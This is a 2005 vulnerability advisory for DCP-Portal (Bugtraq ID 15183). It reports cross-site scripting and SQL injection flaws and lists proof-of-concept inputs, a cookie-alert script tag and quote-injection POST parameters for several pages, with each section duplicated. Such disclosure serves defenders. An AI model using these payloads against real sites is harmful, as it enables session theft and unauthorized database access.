DCP-Portal Multiple Input Validation Vulnerabilities
BID:15183
Info
DCP-Portal Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 15183 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 24 2005 12:00AM |
| Updated: | Oct 24 2005 12:00AM |
| Credit: | [email protected] discovered these issues. |
| Vulnerable: |
DCP-Portal DCP-Portal 6.1.1 DCP-Portal DCP-Portal 6.1 DCP-Portal DCP-Portal 6.0 DCP-Portal DCP-Portal 5.3.2 DCP-Portal DCP-Portal 5.3.1 DCP-Portal DCP-Portal 5.3 DCP-Portal DCP-Portal 5.2 DCP-Portal DCP-Portal 5.1 DCP-Portal DCP-Portal 5.0.2 DCP-Portal DCP-Portal 5.0.1 DCP-Portal DCP-Portal 4.5.1 DCP-Portal DCP-Portal 4.2 DCP-Portal DCP-Portal 4.1 DCP-Portal DCP-Portal 4.0 DCP-Portal DCP-Portal 3.7 |
| Not Vulnerable: | |
Discussion
DCP-Portal Multiple Input Validation Vulnerabilities
DCP-Portal is prone to multiple cross-site scripting and SQL injection vulnerabilities.
Exploitation could allow for theft of cookie-based authentication credentials or unauthorized access to database data. Other attacks are also possible.
DCP-Portal is prone to multiple cross-site scripting and SQL injection vulnerabilities.
Exploitation could allow for theft of cookie-based authentication credentials or unauthorized access to database data. Other attacks are also possible.
Exploit / POC
DCP-Portal Multiple Input Validation Vulnerabilities
No exploit is required. The following examples are available:
Cross-site scripting:
http://www.example.com/index.php?page=send&cid=<script>alert(document.cookie);</script>
SQL injection:
register.php with the following POST variables:
sex=1&name=%27&surname=1&email=1&b_month=0&b_day=0&b_year=0&address=1&zip=1&city=1&country=1&job=1&tel=1&signature=1&username=1&password=1&password2=1&hide=on&list=on&action=send&submit=Send
lostpassword.php with the following POST variables:
mode=lost&email=%27&submit=Send
calendar.php with the following POST variables:
month=1&s=1&submit=GO&year='&day=01
month=1&s=1&submit=GO&year=%27&day=01
http://www.example.com/index.php?cid=%27[SQL]
http://www.example.com/forums.php?action=showmsg&mid=%27[SQL]
No exploit is required. The following examples are available:
Cross-site scripting:
http://www.example.com/index.php?page=send&cid=<script>alert(document.cookie);</script>
SQL injection:
register.php with the following POST variables:
sex=1&name=%27&surname=1&email=1&b_month=0&b_day=0&b_year=0&address=1&zip=1&city=1&country=1&job=1&tel=1&signature=1&username=1&password=1&password2=1&hide=on&list=on&action=send&submit=Send
lostpassword.php with the following POST variables:
mode=lost&email=%27&submit=Send
calendar.php with the following POST variables:
month=1&s=1&submit=GO&year='&day=01
month=1&s=1&submit=GO&year=%27&day=01
http://www.example.com/index.php?cid=%27[SQL]
http://www.example.com/forums.php?action=showmsg&mid=%27[SQL]
Solution / Fix
DCP-Portal Multiple Input Validation Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
DCP-Portal Multiple Input Validation Vulnerabilities
References:
References:
- DCP-Portal Homepage (DCP-Portal)
- DCP - portal XSS & SQL attacks ([email protected])